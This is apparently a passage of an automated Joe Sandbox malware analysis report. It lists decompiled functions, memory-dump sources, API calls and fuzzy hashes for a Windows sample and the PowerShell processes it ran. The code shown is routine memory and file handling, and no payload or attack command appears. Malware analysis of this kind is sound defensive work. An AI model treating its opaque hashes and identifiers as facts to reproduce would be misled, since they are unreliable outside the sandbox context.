Strings

KA, xrefs: 00405F0F

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction ID: 682fdee239e6c4724d42c8af7adc4720fc3e2d38c4520a7b7ac2604701000241
Opcode Fuzzy Hash: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction Fuzzy Hash: 6C1126B1D011199ACB06EFA5C9959EEBBB4FF18304F50447EE445B3291DB7A5E00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004160FA Relevance: 5.1, APIs: 4, Instructions: 53
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004160FA() {
				signed int _t15;
				void* _t17;
				void* _t19;
				void* _t25;
				signed int _t26;
				void* _t27;
				intOrPtr* _t29;

				_t15 =  *0x425a28; // 0x0
				_t26 =  *0x425a18; // 0x0
				if(_t15 != _t26) {
					L3:
					_t27 =  *0x425a2c; // 0x0
					_t29 = _t27 + (_t15 + _t15 * 4) * 4;
					_t17 = HeapAlloc( *0x425a34, 8, 0x41c4);
					 *(_t29 + 0x10) = _t17;
					if(_t17 == 0) {
						L6:
						return 0;
					}
					_t19 = VirtualAlloc(0, 0x100000, 0x2000, 4);
					 *(_t29 + 0xc) = _t19;
					if(_t19 != 0) {
						 *(_t29 + 8) =  *(_t29 + 8) | 0xffffffff;
						 *_t29 = 0;
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *0x425a28 =  *0x425a28 + 1;
						 *( *(_t29 + 0x10)) =  *( *(_t29 + 0x10)) | 0xffffffff;
						return _t29;
					}
					HeapFree( *0x425a34, 0,  *(_t29 + 0x10));
					goto L6;
				}
				_t2 = _t26 * 4; // 0x50
				_t25 = HeapReAlloc( *0x425a34, 0,  *0x425a2c, _t26 + _t2 + 0x50 << 2);
				if(_t25 == 0) {
					goto L6;
				}
				 *0x425a18 =  *0x425a18 + 0x10;
				 *0x425a2c = _t25;
				_t15 =  *0x425a28; // 0x0
				goto L3;
			}

0x004160fa
0x004160ff
0x0041610b
0x0041613d
0x0041613d
0x00416153
0x00416156
0x0041615e
0x00416161
0x0041618d
0x00000000
0x0041618d
0x00416170
0x00416178
0x0041617b
0x00416191
0x00416195
0x00416197
0x0041619a
0x004161a3
0x00000000
0x004161a6
0x00416187
0x00000000
0x00416187
0x0041610d
0x00416122
0x0041612a
0x00000000
0x00000000
0x0041612c
0x00416133
0x00416138
0x00000000

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416122
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416156
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00416170
HeapFree.KERNEL32(00000000,?), ref: 00416187

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction ID: c92a38fae87bb937ac208a7a453d8678043178d73965b4d0b203d58dccefea2c
Opcode Fuzzy Hash: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction Fuzzy Hash: 98112B31300B01BFC7318F29EC869567BB5FB49764791862AF151C65B0C7709842CF48

Uniqueness

Uniqueness Score: -1.00%

Function 004156E1 Relevance: 5.0, APIs: 4, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004156E1(void* __eax) {
				void* _t1;

				_t1 = __eax;
				InitializeCriticalSection( *0x42078c);
				InitializeCriticalSection( *0x42077c);
				InitializeCriticalSection( *0x42076c);
				InitializeCriticalSection( *0x42074c);
				return _t1;
			}

0x004156e1
0x004156ee
0x004156f6
0x004156fe
0x00415706
0x00415709

APIs

InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156EE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156F6
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156FE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 00415706

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction ID: 9a5a21d657ffcc76f5c3c67f011d6e28d8344b300781f1748fbef07cd2b7b2eb
Opcode Fuzzy Hash: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction Fuzzy Hash: CCC00231A05138ABCB712B65FC048563FB5EB882A03558077A1045203186612C12EFD8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 4040, Parent PID: 1088COMMON

Executed Functions

Function 00007FF8163B1C59 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.424469620.00007FF8163B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8163B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff8163b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcbd1499737b02a10790536d659e8440da92eb0421aa6ceb59252d710f3e0ca3
Instruction ID: 9541ed6a97d5b03d13cf7dcc3ddfbe9e6c507bb32b4893cf002164c7c607d78f
Opcode Fuzzy Hash: bcbd1499737b02a10790536d659e8440da92eb0421aa6ceb59252d710f3e0ca3
Instruction Fuzzy Hash: 7751063191CE494FD345DB18E854BA6BBE1FFC5361F1847BAE08DC72A2CE28A945C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163B1775 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.424469620.00007FF8163B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8163B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff8163b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abfb08509ba2ad3dcb560ce6df667010d1f52f3db04242593f4bff19157a36dc
Instruction ID: 116f08d056536bd5b228816cd2fd0e0eea4df47e38520604a18b199e38f694b9
Opcode Fuzzy Hash: abfb08509ba2ad3dcb560ce6df667010d1f52f3db04242593f4bff19157a36dc
Instruction Fuzzy Hash: 5601677111CB0C4FD744EF0CE451AA6B7E0FB95364F10056EE58AC7691DA36E881CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 1328, Parent PID: 6068COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	1

Executed Functions

Function 06F18760 Relevance: .7, Instructions: 693
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ebf16b34079cb44d62b2c9a8e72141265e065cc82d6d7994492eb161fc5622a
Instruction ID: 27749964efb38fa7094813b1c28a553498df1ac5af336036751571dd9e6be900
Opcode Fuzzy Hash: 1ebf16b34079cb44d62b2c9a8e72141265e065cc82d6d7994492eb161fc5622a
Instruction Fuzzy Hash: EE524A34A00209CFDB64DF24C950BAE73B2EF89384F1185A9D91AAF294DB35DD45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03C1C238 Relevance: 1.6, APIs: 1, Instructions: 123
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,?,?,?,?,?), ref: 03C1C382

Memory Dump Source

Source File: 00000018.00000002.431031970.0000000003C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 03C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_3c10000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 531d045e3a2906ca296c9188816a3b3ca07b9f08b6d0580e93bc941d654f32e0
Instruction ID: aa21ebcaba2030fb0af368dad3a0e3e1af155af2c67ded5e452544b6f329c89e
Opcode Fuzzy Hash: 531d045e3a2906ca296c9188816a3b3ca07b9f08b6d0580e93bc941d654f32e0
Instruction Fuzzy Hash: 2D419B71A002599FCB15CFA9C854AEEFBB5AF49314F188169E804FB750CB349A14DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 03C1C2C3 Relevance: 1.6, APIs: 1, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,?,?,?,?,?), ref: 03C1C382

Memory Dump Source

Source File: 00000018.00000002.431031970.0000000003C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 03C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_3c10000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2b526d051a923ae6d9ebc33dfe12b2d2c1dd5293f74b328a3d0c1ab91d61c8ec
Instruction ID: df39e608cf091e7ad87a21b8db65eaaf26dae5335157712ebe080b58935ce24f
Opcode Fuzzy Hash: 2b526d051a923ae6d9ebc33dfe12b2d2c1dd5293f74b328a3d0c1ab91d61c8ec
Instruction Fuzzy Hash: 6B31AB71A002999FCB01CFA9D890ADEBFB5FF49314F04815AE815EB751C7349A18CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 03C1C3B8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.431031970.0000000003C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 03C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_3c10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f29276a25f3da4eb3d6f771a559323b6e8f5be360d2e7e28991170ce9778c8b
Instruction ID: 9ca186cf5420741aca3ee84ca62e4b1d718b485ff7323bdd374a0cc7803e338a
Opcode Fuzzy Hash: 8f29276a25f3da4eb3d6f771a559323b6e8f5be360d2e7e28991170ce9778c8b
Instruction Fuzzy Hash: DE11D0B2840255EFDF01CF94C8846DEBBB0FB5A314F488189E819DB610C335D665EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06F1FAC7 Relevance: 1.4, Strings: 1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 06F1FB6A

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 5ddd4730ac39b0cea2abe7dd1562f8fd74d2775777f675b56d325b67ed599821
Instruction ID: 564b39f26babee19485f94be5635ec03cd14f0703b7cb60c3ae879e276bc352f
Opcode Fuzzy Hash: 5ddd4730ac39b0cea2abe7dd1562f8fd74d2775777f675b56d325b67ed599821
Instruction Fuzzy Hash: 2151F170A053489FDB10DBA5D854BEFBBF9EF49354F104469D406AB340DB39980ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0676E6E0 Relevance: .9, Instructions: 945
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c490990a92974b4da12a4b50f5184eac804dacee9db31946312d1e9e805ebe7
Instruction ID: 7afc641691b395a0aa753f91fc227c75bf74ec15725d9b825a880c35e17add7e
Opcode Fuzzy Hash: 3c490990a92974b4da12a4b50f5184eac804dacee9db31946312d1e9e805ebe7
Instruction Fuzzy Hash: E472C4747002049FDB94EF76D8506BE7BA6EF85208B14846DE806DF391EF75DC068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0676AB60 Relevance: .4, Instructions: 358
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d2749b00c0dfd3f63ef1e97c5e0b6a59d3d77109238ead71c23ef463b8a2da
Instruction ID: 6eef81405d5f9ba632ba1ad1b68dfd9d2fc98760622aac2f3553789242900954
Opcode Fuzzy Hash: c8d2749b00c0dfd3f63ef1e97c5e0b6a59d3d77109238ead71c23ef463b8a2da
Instruction Fuzzy Hash: C1D1B134B002099FC754DF69C854AEEB7F2FF89214F148569E816AB790DB34EC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0676B9C6 Relevance: .3, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2378103fb0214866eda863eece91d9ff51b0905afe95bca6550c884dc82fd14e
Instruction ID: 8d7f8c9aed490835a6843f6b1d60c9b969146505304ae18ae8c93a2d0a3ee290
Opcode Fuzzy Hash: 2378103fb0214866eda863eece91d9ff51b0905afe95bca6550c884dc82fd14e
Instruction Fuzzy Hash: 3CC1C035A01219DFCB60DF65C880AE9B7B2EF85704B048929E849DF765DB30ED59CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0676A778 Relevance: .3, Instructions: 286
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b893361aa93dba8db28a9a3c72fd1c80b57f9fb862eca3714739286d210c27f9
Instruction ID: 5be2899f028699453c72450889155c52e96e66068be6bd0bbda6c88dcbb11939
Opcode Fuzzy Hash: b893361aa93dba8db28a9a3c72fd1c80b57f9fb862eca3714739286d210c27f9
Instruction Fuzzy Hash: C9A1CF317003489FCB14DB79D8546EFB7B6EB84209F14846EE8069BB95DB749C0ACBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0676BDD0 Relevance: .2, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bee52e7f65945c20d7b6d13207c44d4173336d381c4bd1708742ba9876f7ba6f
Instruction ID: 279e8958059250101e0ba450767734617790036377d843b11b91cb9bcca5742b
Opcode Fuzzy Hash: bee52e7f65945c20d7b6d13207c44d4173336d381c4bd1708742ba9876f7ba6f
Instruction Fuzzy Hash: C181BE397002149FC744EB79D850AAEFBA7EFC8255B14C06AE90ACB754DF349C4587A2

Uniqueness

Uniqueness Score: -1.00%

Function 06766C68 Relevance: .2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cd3aa5cefc0298ef34f3f492744d0f7d467f2782ba7a6eb569a5b755041e44
Instruction ID: 93d3f21ee79d4724d5bac9e35268c04becd3fae084973309c72bcb0f1a846619
Opcode Fuzzy Hash: f1cd3aa5cefc0298ef34f3f492744d0f7d467f2782ba7a6eb569a5b755041e44
Instruction Fuzzy Hash: C481D0357002059FCB14AF66D4546FE77A6EF84249F04896DE806CF794DB78EC0A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 0676B450 Relevance: .2, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31a1709d2509add010ca7e2e317d03226d7600b573622c1a2ad0ce6d46b0f2e0
Instruction ID: 9c6696c45c0d6d982493e03297bda6e97f5cd6acf9b545accf721306581b001b
Opcode Fuzzy Hash: 31a1709d2509add010ca7e2e317d03226d7600b573622c1a2ad0ce6d46b0f2e0
Instruction Fuzzy Hash: 23918474A002489FCB04DFA5C850AEEBBF6EF89304F14812AE815EB751DB349D56CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06768B30 Relevance: .2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c775f30732d61a01ecd32c8638271c46fa25382ab087e14073cba02e3cd9e7f1
Instruction ID: d419dbc0a4d72255c635fa260899b2c0db865e7657d4bd2fda201f88d91df9b2
Opcode Fuzzy Hash: c775f30732d61a01ecd32c8638271c46fa25382ab087e14073cba02e3cd9e7f1
Instruction Fuzzy Hash: DC81BD35A012049FDB54DF69D890BEE77E2EF89304F10856AE8169F390DB74EC45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06767E3B Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efc1094eb9369e28730009b59912a1fbca6f580d4a81784525aa93e8511e19a9
Instruction ID: 2bfab6eb084496827359892d5ea69925bafd3bd0c8ad942920dcdc2d516492a4
Opcode Fuzzy Hash: efc1094eb9369e28730009b59912a1fbca6f580d4a81784525aa93e8511e19a9
Instruction Fuzzy Hash: 62510F34B002099FCB15DF69D810AFFBBB6AF85204B14816AE915DB341DF358D06CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06767AC0 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99a5cc952a686db2da196335c113244cc5b07a2bc01f53c8f9e9ddf8d8d3dfa8
Instruction ID: 08874f3d3b664106addbd177f9bb615f9d029ba6e5f4708ab4b699db01a533ab
Opcode Fuzzy Hash: 99a5cc952a686db2da196335c113244cc5b07a2bc01f53c8f9e9ddf8d8d3dfa8
Instruction Fuzzy Hash: AD511631E043488FCB19CFB5C8145FEBBB6AF85254F14826AE811EB381DB748D06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06F150FF Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a6bd0fab03dfaca5f25899141a13b2ac3ce7a3ca0f51a32ebda0038d7f786a
Instruction ID: bad7d689510ae3e009382f8ea7f6a377fd4049eb3479fd985f435f92613df3ea
Opcode Fuzzy Hash: d4a6bd0fab03dfaca5f25899141a13b2ac3ce7a3ca0f51a32ebda0038d7f786a
Instruction Fuzzy Hash: 1851D434B012189FCB05DBA4DC50BEFBBB7EB88304F108029D506A77A4DF399C469B95

Uniqueness

Uniqueness Score: -1.00%

Function 0676D580 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b4e18634202cd7c1a78e10f7c8cc1690c9f91b79bcd4c55b3a50b3a38e906f
Instruction ID: 647365de9d61cc32113b4fe1b0370f1d119c771f75d22fedd2a41acd6a1860e9
Opcode Fuzzy Hash: b2b4e18634202cd7c1a78e10f7c8cc1690c9f91b79bcd4c55b3a50b3a38e906f
Instruction Fuzzy Hash: 5051AC35B10209DFDB68DF65C454AAEBBB2EF84304F14852EE816AB750DB30AC46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06F177C9 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553d34c5c99d233f935c7b8f7a1f0959c7fd7b78a436a2ed885d937fb5200873
Instruction ID: edab8b2e4c0a9f932151f3707498d5b1802de305a9615ee9a94d4eadd4810518
Opcode Fuzzy Hash: 553d34c5c99d233f935c7b8f7a1f0959c7fd7b78a436a2ed885d937fb5200873
Instruction Fuzzy Hash: 0B713735A01214CFEB24EF65D854FAAB7B6FF88310F1481A9D909EB294DB349D41DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06F15110 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.439335533.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f8513dccfa2574457ccb5281417e929906db387fbd17e3be58cce1804b3f5a
Instruction ID: 68a9c4aaa248366009392b1f36f1096401b721ce174c31079fe4fe4423cc72b9
Opcode Fuzzy Hash: d0f8513dccfa2574457ccb5281417e929906db387fbd17e3be58cce1804b3f5a
Instruction Fuzzy Hash: C9519134B002189FDB05DBA5DC50BEFBBA7EB88704F108029E506A7794DF399C469B95

Uniqueness

Uniqueness Score: -1.00%

Function 0676D570 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c70ece639bc9368b2feda5171b4e7292b2d2dacc0e2573a7f9aa16a69eb8a5f
Instruction ID: 3ab86c406d3aa224f9e0f020cf0a6558401181687c8573d527dcf321abbbcc2c
Opcode Fuzzy Hash: 0c70ece639bc9368b2feda5171b4e7292b2d2dacc0e2573a7f9aa16a69eb8a5f
Instruction Fuzzy Hash: DA517A34F20209DFDB68DF66C454AAEB7B2EF88300F148529E816AB350DB70AD41CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0676B440 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 645a6c2b485ff9adad2ec8c4f3ba58b7d20202ab85ddb5bdafe8dbe4b8bc9464
Instruction ID: 4f8b3c5f082962081007019906848e51933d433179deb1bfb03b492a628b8b22
Opcode Fuzzy Hash: 645a6c2b485ff9adad2ec8c4f3ba58b7d20202ab85ddb5bdafe8dbe4b8bc9464
Instruction Fuzzy Hash: F5515C74E002089FDB14DFA9C950BEEBBB2EF89344F148129E815AB355DB74AD46CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0676E160 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a1703dd2e414368e2c19e642228bd04518901a7219aa5018f9dc7d6968481d7
Instruction ID: af8445fd7bdbbbbc585c733b8b0fbd5ab5c9fd95bfe13a371ecf070c3d501137
Opcode Fuzzy Hash: 9a1703dd2e414368e2c19e642228bd04518901a7219aa5018f9dc7d6968481d7
Instruction Fuzzy Hash: 3F41D0387043019FC718AB7AC8189AEBBB6EF85201B04446EE906CB7A1DB34DC05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 06769950 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cef2c04cdad97b19506f3673e3df0d115a40925da965806733842bda5a1df1f
Instruction ID: 10091788d3a5e2f5fba0372f5abcdd58d609510e6a5bdb1ff0f5ccee5e8f9382
Opcode Fuzzy Hash: 5cef2c04cdad97b19506f3673e3df0d115a40925da965806733842bda5a1df1f
Instruction Fuzzy Hash: A441AE35B052058FCB05EB75C5186ED7BF2EF89205F0544ADE802EB795DB389D09CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0676CA58 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.438173518.0000000006760000.00000040.00000800.00020000.00000000.sdmp, Offset: 06760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_6760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
